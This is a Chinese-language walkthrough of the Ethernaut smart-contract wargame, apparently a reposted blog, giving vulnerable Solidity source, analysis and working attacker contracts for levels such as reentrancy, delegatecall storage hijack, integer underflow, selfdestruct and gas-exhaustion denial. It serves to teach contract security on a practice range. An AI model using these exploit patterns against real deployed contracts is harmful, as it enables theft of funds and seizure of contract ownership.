Ethernaut

1.Hello Ethernaut

分析

第一关更多的是让玩家熟悉靶场的一些语句执行,相当于一个教程,我们根据题目指示往下走即可。

攻击

首先点击关卡下方的按钮,生成新的关卡实例。

实例生成之后打开浏览器控制台(ctrl+shift+i)。根据题目指示,首先输入await contract.info(),随后根据得到的提示一步步往下做。

做到这一步,提示告诉我们如果知道密码就提交到authenticate这个方法,我们输入contract查看合约信息,发现代码中有password函数可以获得密码,我们查看密码并提交给authenticate,最后提交实例。

2.Fallback

源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallback {

  using SafeMath for uint256;
  mapping(address => uint) public contributions;
  address payable public owner;

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

分析

这关要求我们:

  1. 获得这个合约的所有权
  2. 把他的余额减到0

通过观察代码,我们发现修改合约的所有权只能在在contribute函数或者receive函数中。

1. 通过contribute函数来修改所有权我们需要自己的贡献大于owner的贡献,而owner的贡献被设置为1000ether,这对我们来说是十分昂贵的,所以我们把目光放在receive函数上。

2. receive函数要求我们发送的金额大于零,并且自己的贡献大于零,所以我们向合约转两次钱就可以通过require要求,获得合约的所有权。

3. 获得所有权之后就可有转出合约中所有的钱,让它的余额清0。

攻击

通过一次contribute函数,转入1 wei创建用户,一次sendTransaction函数,转入1 wei,获得合约所有权,输入await contract.owner()查看。

获得所有权后调用withdraw函数去除所有的钱。

3.Fallout

源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallout {
  
  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;


  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
	        require(
	            msg.sender == owner,
	            "caller is not the owner"
	        );
	        _;
	    }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

分析

这一关要求我们获得合约的所有权。

观察代码发现合约只能在Fallout函数中修改,且没有添加任何的限制,所以我们直接修改即可。

攻击

在控制台输入await contract.Fal1out(),即可发现owner变成了自己。

4.CoinFlip

源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

分析

这一关要求我们需要连续的猜对10次抛硬币的结果。

观察代码,发现硬币的正反面是和block.number即区块高度相关的,所以我们只要使用智能合约呼叫即可保证呼叫者与被呼叫者block.number會相同,从而先计算出結果。

攻击

使用remix编写攻击代码,我们通过与源码同样的方法构造出pwn函数,判断硬币正反,传入目标合约进行攻击。

contract attack{
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    CoinFlip expFlip = CoinFlip(0xE3C79D2E7b9867d1E0f90dC6076D1464c3842590); 
    //括号中填写生成合约的地址即instance
    //这表示已经有一个CoinFlip合约部署在了这个地址
    function pwn() public{
        uint256 blockValue = uint256(blockhash(block.number-1));
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;
        expFlip.flip(side);
    }   
}

编写完成后进行编译

编译完成后部署合约,选择injected Provider,remix就会连接到你的metamask钱包,地址Account就会变成你钱包的地址,点击Deploy部署。(如果一个.sol文件中有多个合约,可以在Contract中切换要部署的合约)

 部署完成后在下面可以看到我们部署的合约,调用pwn函数攻击就会发现我们的consecutiveWins增加了1,所以调用10次pwn函数即可提交该实例。

5.Telephone

源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

分析

这关要求我们获得合约的所有权。

观察代码,发现只要满足changeOwner函数的要求即可,所以我们新写一个合约调用即可。

tx.origin与msg.origin:

tx.origin:会遍历整个调用栈并返回最初发送调用(或交易)的帐户的地址。
msg.sender:为直接调用智能合约功能的帐户或智能合约的地址。
两者的区别在于,如果同一笔交易中存在多次调用,tx.origin不会改变,而msg.sender会发生变化。


攻击

contract attack {
    Telephone hack = Telephone(0x7681cf2A55975B93C41B5C98A0025b33bE093A3b);
    function pwn() public {
        hack.changeOwner(msg.sender);
    }
}

部署合约调用pwn函数即可

6.Token

源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

分析

这关要求我们增加手中的token数量

观察代码,我们发现token会在transfer函数中发生增减操作,而transfer函数并没有对uint做溢出处理,因为我们手中持有20个token,所以当我们调出21及以上个token时,就会发生下溢,使我们的token变多。

溢出:

1. 在solidity中,uint类型会存在溢出,溢出有两种:

上溢:比如在某个uint8变量的值在255时再次对他进行+1的操作,就会导致上溢,值变为0;

下溢:比如在某个uint8变量值为0时,对他进行减法操作,就会导致下溢,值变为255.

攻击

调用transfer函数,address为随机别人的地址,value为21个token,提交实例即可。

7.Delegation

源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {

  address public owner;

  constructor(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

分析

这关要求我们获得合约Delegation的所有权。

观察代码,我们发现合约中能改变owner的只有Delegate合约中的pwn函数,但是它在Delegate合约中,与Delegation合约有什么关系吗?再回头看Delegation合约,我们发现合约中运用了Delegatecall函数。

delegatecall:

delegatecall是一个类似于call的低级函数。

合约A执行delegatecall合约B时,B会执行B的代码合约A的存储,msg.sendermsg.value

因此,当我们使用delegatecall时,虽然使用的是Delegate的函数,却是在Delegation的环境下执行的,我们可以以此来编辑攻击合约。

攻击

contract Hack {
    function getsig() public pure returns (bytes memory) {
      return abi.encodeWithSignature("pwn()");
    }
}

通过这个代码我么可以获得pwn()函数的selector是0xdd365b8b

 在控制台中通过contrac.sentTransaction()函数,传递data:0xdd365b8b,调用在Delegation合约中不存在的pwn()即可触发fallback函数,Delegation合约通过delegatecall调用delegate函数,使得delegate合约中的pwn()函数执行从而修改了owner的值。

8.Force

源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

分析

这关要求我们使合约的余额大于0。

观察代码,发现代码中什么也没有,我们知道如果一个函数需要接受交易,就需要有一个paybale的fallback或者recieve函数,那有没有其他办法呢?通过阅读solidity官方文档,我们知道当一个合约自毁的时候可以把合约中的钱全部转移给一个指定的账户,而且这种转移是强制性的,所以我们可以通过这种方法来实现转账。

攻击

我们通过selfdestrcuct函数来进行合约的自毁,并将剩下的以太传入目标实例的地址。

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {    
    function test1()  public payable {}
    function test2(address _addr) public {
        selfdestruct(payable(_addr));
    }
}

先给自己的合约转一些钱,然后调用test2方法自毁强制转钱

9.Valut

源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

分析

这关要求我们获得password解锁locked

虽然password设置成了private无法查看,但是这个私有仅限于合约层面的私有,合约之外依然可以读取。合约使用外界未知的私有变量。虽然变量是私有的,无法通过另一合约访问,但是变量储存进 storage 之后仍然是公开的。我们可以使用区块链浏览器(如 etherscan)观察 storage 变动情况,或者计算变量储存的位置并使用 Web3 的 api 获得私有变量值。bool是1个字节,存储在slot0,password是32字节存储在slot1中。

攻击

利用web3自带的web3.eth.getStorageAt(address,index)查询

查看locked

10.King

源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

  address payable king;
  uint public prize;
  address payable public owner;

  constructor() public payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address payable) {
    return king;
  }
}

分析

这关要求我们称为king提交的时候不会被取代

观察代码,发现只有在fallback函数中才会有king的修改,所以我们通过阻止transfer函数来使得king的更改不成功。

攻击

先查看合约中的prize,发送大于prize的金额称为合约的king,在攻击代码中编写fallback函数,实现revert方法,使得合约向我们转账的时候会被回退,导致交易不成功。

pragma solidity ^0.6.0;

contract KingAttack {

    constructor(address _addr) public payable{ 
        address(_addr).call{value:msg.value}("");
    }

    fallback() external payable{
        revert();
    }
}

发送1Finny

 

11.Re-entrancy

源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

分析

这关要求我们取走合约中的所有ether

观察代码,我们通过withdraw函数取钱,withdraw函数通过call方法向我们转账,我们知道,当函数向我们转账的时候会调用我们合约中的fallback方法,所以我们可以在我们的余额清零之前再次调用withdraw函数,一直到合约中没有ether。

攻击

pragma solidity ^0.8.0;

interface IReentrance {
    function withdraw(uint _amount) external;
}

contract Reentrance {
    address levelInstance;

    constructor(address _levelInstance) {
        levelInstance = _levelInstance;
    }

    function claim(uint256 _amount) public {
        IReentrance(levelInstance).withdraw(_amount);
    }

    fallback() external payable {
        IReentrance(levelInstance).withdraw(msg.value);
    }
}

先部署合约,通过contract.donate函数转账0.001ether创建账户,地址为攻击合约地址,然后调用claim函数,参数为1000000000000000,当合约向我们的攻击合约转账是会出发fallback函数,持续转账一直到合约中没有ether

12.Elevator

源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

分析

这关要求我们让top等于true

观察代码,有一个isLastFloor的接口,所以我们通过自行构造一个isLastFloor函数来通过这关。

攻击

第一次top返回false通过if条件,第二次返回true,使得top = true。

contract attack {
  Elevator elevator;
  bool toop = true;

  constructor(address _addr) public {
    elevator = Elevator(_addr);
  }

  function isLastFloor(uint) public returns(bool) {
      toop = !toop;
      return toop;
  }
  
  function attack1(address _addr) public{
        elevator.goTo(5);  
  }
}

部署合约,调用attack1即可

13.Privacy

源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Privacy {

  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

  constructor(bytes32[3] memory _data) public {
    data = _data;
  }
  
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

分析

这关要求我们获得key变量的值

观察代码,我们发现key是一个私有的变量,但是之前说过,虽然key设置成了private无法查看,但是这个私有仅限于合约层面的私有,合约之外依然可以读取。在考虑key的存储位置,bool是1个字节存储在slot0中,ID是32字节存储在slot1中,flattening、denomination、awkwardness是1、1、2字节一起存储在slot2中,data字节数组中的三个数据分别存储在slot3、4、5。所以我们只要获取slot4的数据就可以了。

攻击

通过web3.eth.getStorageAt查找slot4中的数据,截取前16字节作为参数调用unlock函数即可 

14.Gatekeeper One

源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract GatekeeperOne {

  using SafeMath for uint256;
  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(gasleft().mod(8191) == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

分析

这关需要我们越过守门人并且注册为一个参赛者

观察代码,我们需要通过gateOne,gateTwo和gateTheree(_gateKey)三个要求才能完成本关,我们一个一个分析。

gateOne要求我们的tx.origin != msg.sender,我们只需要新创建一个合约来调用这个合约就可以越过这个条件

gateTwo要求我们这个函数剩余的gas费用除以8191的余数等于0

gateTheree(_gateKey)有三个要求。第一个是_gatekey的最后的4个字节等于最后2个字节,也就是最后4个字节的前2个字节是0就可以了,相当于0x00001111。第二个是8字节不能与最后4字节相同,也就是8个字节的前4个字节不是0就可以了,相当于0x1234567800001111;第三个是tx.origin最初的调用者,也就是我们的账户的最后2个字节要与key的最后4个字节相等,所以 key 的最后2个字节就是tx.origin的最后2字节。所以我们可以用0x123456780000D778,最后4位跟我的metamask账户最后4位相同。

攻击

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract attack {
    bytes8 _key = 0x123456780000D778;
    function attack1(address _addr) public {
        for(uint i = 150;i <=300 ;i ++){
            address(_addr).call{gas:81910+i}(abi.encodeWithSignature("enter(bytes8)",_key));
        }
    }
}

关于gas.left的调试我也是借鉴的别人的

15.Gatekeeper Two

源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract GatekeeperTwo {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller()) }
    require(x == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

分析

这关也是要求我们通过三个要求

gateOne只需要从另一个合约调用关卡合约即可;

gateTwo要求我们调用者的extcodesize为0,

在黄皮书的脚注中:

在初始化代码执行期间,地址上的 EXTCODESIZE 应返回零,这是帐户代码的长度,而 CODESIZE 应返回初始化代码的长度(如 H.2 中所定义)

所以如果你尝试在合约构建之前或期间检查智能合约的代码大小,将会得到一个空值。这是因为智能合约尚未制定,因此无法自我识别自己的代码大小。所以我们直接把代码放在constructor中执行;

gateThree我们只需要求出uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(0) - 1)即可,这是异或运算的基本性质。

攻击

contract attack {
  bytes8 key;
  GatekeeperTwo gatekeeperTwo;
    
  constructor() public {
    key = bytes8((uint64(bytes8(keccak256(abi.encodePacked(address(this)))))) ^ (uint64(0) - 1));
    gatekeeperTwo = GatekeeperTwo(0xe71F2f4293f31D730398d09C536FE37E51F7E21D);
    address(gatekeeperTwo).call(abi.encodeWithSignature("enter(bytes8)",key));
  }
  
}

16.Naught Coin

源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/token/ERC20/ERC20.sol';

 contract NaughtCoin is ERC20 {

  // string public constant name = 'NaughtCoin';
  // string public constant symbol = '0x0';
  // uint public constant decimals = 18;
  uint public timeLock = now + 10 * 365 days;
  uint256 public INITIAL_SUPPLY;
  address public player;

  constructor(address _player) 
  ERC20('NaughtCoin', '0x0')
  public {
    player = _player;
    INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
    // _totalSupply = INITIAL_SUPPLY;
    // _balances[player] = INITIAL_SUPPLY;
    _mint(player, INITIAL_SUPPLY);
    emit Transfer(address(0), player, INITIAL_SUPPLY);
  }
  
  function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
    super.transfer(_to, _value);
  }

  // Prevent the initial owner from transferring tokens until the timelock has passed
  modifier lockTokens() {
    if (msg.sender == player) {
      require(now > timeLock);
      _;
    } else {
     _;
    }
  } 
} 

分析

这关要求我们转走合约中的所有代币

观察代码,本合约直接继承了ERC20合约,但是它只重载了transfer函数,没有重载approve和transferFrom函数,因为lockTokens()只限制于transfer函数,所以我们可以通过approve和transferFrom函数来无视这个限制。

攻击

先用approve授予权限

 再通过transferfFrom函数转账即可

查询余额 

17.Preservation

源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }
 
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}

分析

这关要求我们获得合约的所有权

观察代码,本题的关键点在于delegatecall。它的功能相当于我们切换到执行地址的上下文环境中去执行函数。而这里的两个函数中的delegatecall调用的都是setTime这个函数,可以看到这个函数的作用是修改其storage方式存储的第一个变量storedTime

经过多次调试发现,当该合约初始化时,Preservation的slot 0上(也就是timeZone1Library变量)存储的是Preservation合约的地址,而slot 1(也就是timeZone2Library)上存储的是LibraryContract合约的地址,而我们需要做的是修改存储在slot2上的owner变量,根据两个合约storage存储的对应关系可以知道当我们调用setFirstTime时,修改的其实是slot0中的timeZone1Library,所以我们可以任意改写Preservation合约的地址。就可以通过我们的恶意代码改写owner的值了。

攻击

先编写攻击代码

pragma solidity ^0.6.0;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner;
  
  function setTime(uint _addr) public {
    owner = address(uint160(_addr));
  }
}

部署合约之后获得合约地址:0xd9145CCE52D386f254917e481eB44e9943F39138,在控制台中调用setSecondTime函数,参数为我们恶意合约的地址

调用setFirstTime函数修改owner的值

 查看owner发现已经是我们自己了,提交

18.Recovery

源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Recovery {

  //generate tokens
  function generateToken(string memory _name, uint256 _initialSupply) public {
    new SimpleToken(_name, msg.sender, _initialSupply);
  
  }
}

contract SimpleToken {

  using SafeMath for uint256;
  // public variables
  string public name;
  mapping (address => uint) public balances;

  // constructor
  constructor(string memory _name, address _creator, uint256 _initialSupply) public {
    name = _name;
    balances[_creator] = _initialSupply;
  }

  // collect ether in return for tokens
  receive() external payable {
    balances[msg.sender] = msg.value.mul(10);
  }

  // allow transfers of tokens
  function transfer(address _to, uint _amount) public { 
    require(balances[msg.sender] >= _amount);
    balances[msg.sender] = balances[msg.sender].sub(_amount);
    balances[_to] = _amount;
  }

  // clean up after ourselves
  function destroy(address payable _to) public {
    selfdestruct(_to);
  }
}

分析

这关要求我们找到失去的合约地址,获得合约的token

观察代码,Recover合约创建了一个SimpleToken合约,而区块链上一切都是透明的,即使弄丢了 Token 地址,也可以从区块中根据交易记录找回,然后可以通过SimpleToken中的selfdestruct将自身的token转给我们。。

攻击

生成实例,然后到EtherScan去查看生成的合约

我们可以看到最近的一条记录就是Recovery合约创建SimpleToken合约,点进Contract Creation就可以在左上角复制SimpleToken的合约地址,然后编写攻击代码调用destroy函数即可

pragma solidity ^0.8.0;

interface ISimpleToken {
    function destroy(address payable _to) external;
}

contract SimpleToken {
    address levelInstance;

    constructor(address _levelInstance) {
        levelInstance = _levelInstance;
    }

    function withdraw() public {
        ISimpleToken(levelInstance).destroy(payable(msg.sender));
    }
}

_levelInstance为SimpleToken的合约地址,调用withdraw函数即可 

19.MagicNumber

源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract MagicNum {

  address public solver;

  constructor() public {}

  function setSolver(address _solver) public {
    solver = _solver;
  }

  /*
    ____________/\\\_______/\\\\\\\\\_____        
     __________/\\\\\_____/\\\///\\\___       
      ________/\\\/\\\____\///______\//\\\__      
       ______/\\\/\/\\\______________/\\\/___     
        ____/\\\/__\/\\\___________/\\\//_____    
         __/\\\\\\\\\\\\\\\\_____/\\\//________   
          _\///\\\//____/\\\/___________  
           ___________\/\\\_____/\\\\\\\\\\\\\\\_ 
            ___________\///_____\///__
  */
}

分析

本关要求编写的合约要对whatIsTheMeaningOfLife函数的呼叫回传数字为42

这关我是看着教程做的,下面是链接:

https://dev.to/nvn/ethernaut-hacks-level-18-magic-number-27ep

攻击

主要考察的是evm的操作码

20.Alien Codex

源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import '../helpers/Ownable-05.sol';

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;

  modifier contacted() {
    assert(contact);
    _;
  }
  
  function make_contact() public {
    contact = true;
  }

  function record(bytes32 _content) contacted public {
    codex.push(_content);
  }

  function retract() contacted public {
    codex.length--;
  }

  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }
}

分析

这关是要我们获得合约的所有权

观察合约,contact和owner储存在slot0中,bytes32是个动态字节数组,在slot1中存储数组的长度,第一个数组元素存储在keccak256(1)+0以此类推,公式为keccak256(slot)+index。而我们需要做的是更改slot0中owner的值,我们发现合约中有retract函数可以使数组下溢,因此只要计算出一个array元素的位置,该元素的位置因为overflow了storage的最大存储量2^256,则该元素位置会指向slot 0,此时改写该codex元素则等同改写owner的值。

攻击

Storage中slot的最大数为2^256,值为 0 – 2^256-1,因此只要把值写在slot 2^256即会overflow成slot 0,即:2^256 = keccak256(1) + index,推导一下:index = 2^256 - keccak256(1)

编写攻击代码:

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IAlienCodex {
    function make_contact() external;
    function retract() external;
    function revise(uint i, bytes32 _content) external;
}

contract AlienCodexAttack {

    address target = 0x4910B606e63BFEAF3B8F93CEe4133981057F2753;

    function attack() public {
        unchecked{
        uint num = uint256(2)**uint256(256) - uint256(keccak256(abi.encodePacked(uint256(1))));
        IAlienCodex(target).make_contact();
        IAlienCodex(target).retract();
        IAlienCodex(target).revise(num,bytes32(uint256(uint160(msg.sender))));
        }
    }

}

先令contact等于true通过条件,然后让数组下溢,最后调用revise函数,第一个参数为所需数组元素的序号,第二个参数为你的metamask账户的bytes32形式。最后提交就可以了。

21.Denial

源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Denial {

    using SafeMath for uint256;
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address payable public constant owner = address(0xA9E);
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance.div(100);
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value:amountToSend}("");
        owner.transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint) {
        return address(this).balance;
    }
}

分析

这关要求我们在owner调用withdraw()时拒绝提取资金(合约仍有资金,并且交易的gas少于1M)

观察代码,我们发现paterner可以设置成我们的合约地址,在withdraw中使用的pterner.call方法来调用我的合约中的ether,所提我们可以通过在fallback函数中写一个无限循环来耗光transfer的gas使得转账无法正常执行。

攻击

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Attack {
    address public target;
    constructor(address payable _addr)public payable{
        target=_addr;
        target.call(abi.encodeWithSignature("setWithdrawPartner(address)", address(this)));
    }

    fallback() payable external {
        while(true){
        }
    }
}

我们通过setWithdrawPaterner函数设置paterner为我们的合约地址,然后部署合约即可

22.Shop

源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Buyer {
  function price() external view returns (uint);
}

contract Shop {
  uint public price = 100;
  bool public isSold;

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {
      isSold = true;
      price = _buyer.price();
    }
  }
}

分析

这关要求我们以低于100的价格买到商品

观察代码,存在一个Buyer接口,所以我们可以通过构造price函数来攻击合约,在price函数中我们做出判断,如果isSold变量时false我们就返回一个比price大的数,如果isSold变量是true,就返回一个比price小的数。

攻击

contract attack {

  Buyer buyer;

  constructor(address _addr) public {
    buyer = Buyer(_addr);
  }

  function exploit() public {
    bool b;
    (b,)=address(buyer).call(abi.encodeWithSignature("buy()"));
    require(b);
  }

   function price() external view returns (uint res) {
     bytes memory r;
      (,r)=address(buyer).staticcall(abi.encodeWithSignature("isSold()"));
      if(uint8(r[31])==0){
          res = 101;
      }else{
          res = 1;
      }
      return res;
   }
}

在exploit函数中我们使用call方法调用原合约的buy函数,用一个布尔变量来接收call方法是否成功执行,并用require来判断。在price函数中我们定义了一个bytes来接受idSold的值,因为view是只读的,所以我们采用staticcall方法获得isSold的值,staticcall 相比于call是静态呼叫,staticcall呼叫不能改变函数状态,因为bool只有1个字节,但实际它会从前面填充到32字节,所以r的最后一位就是isSold代表的值,如果等于1就是true,如果等于0就是false。

部署合约之后调用explot函数即可

猜你喜欢

转载自blog.csdn.net/m0_52030813/article/details/127476492
今日推荐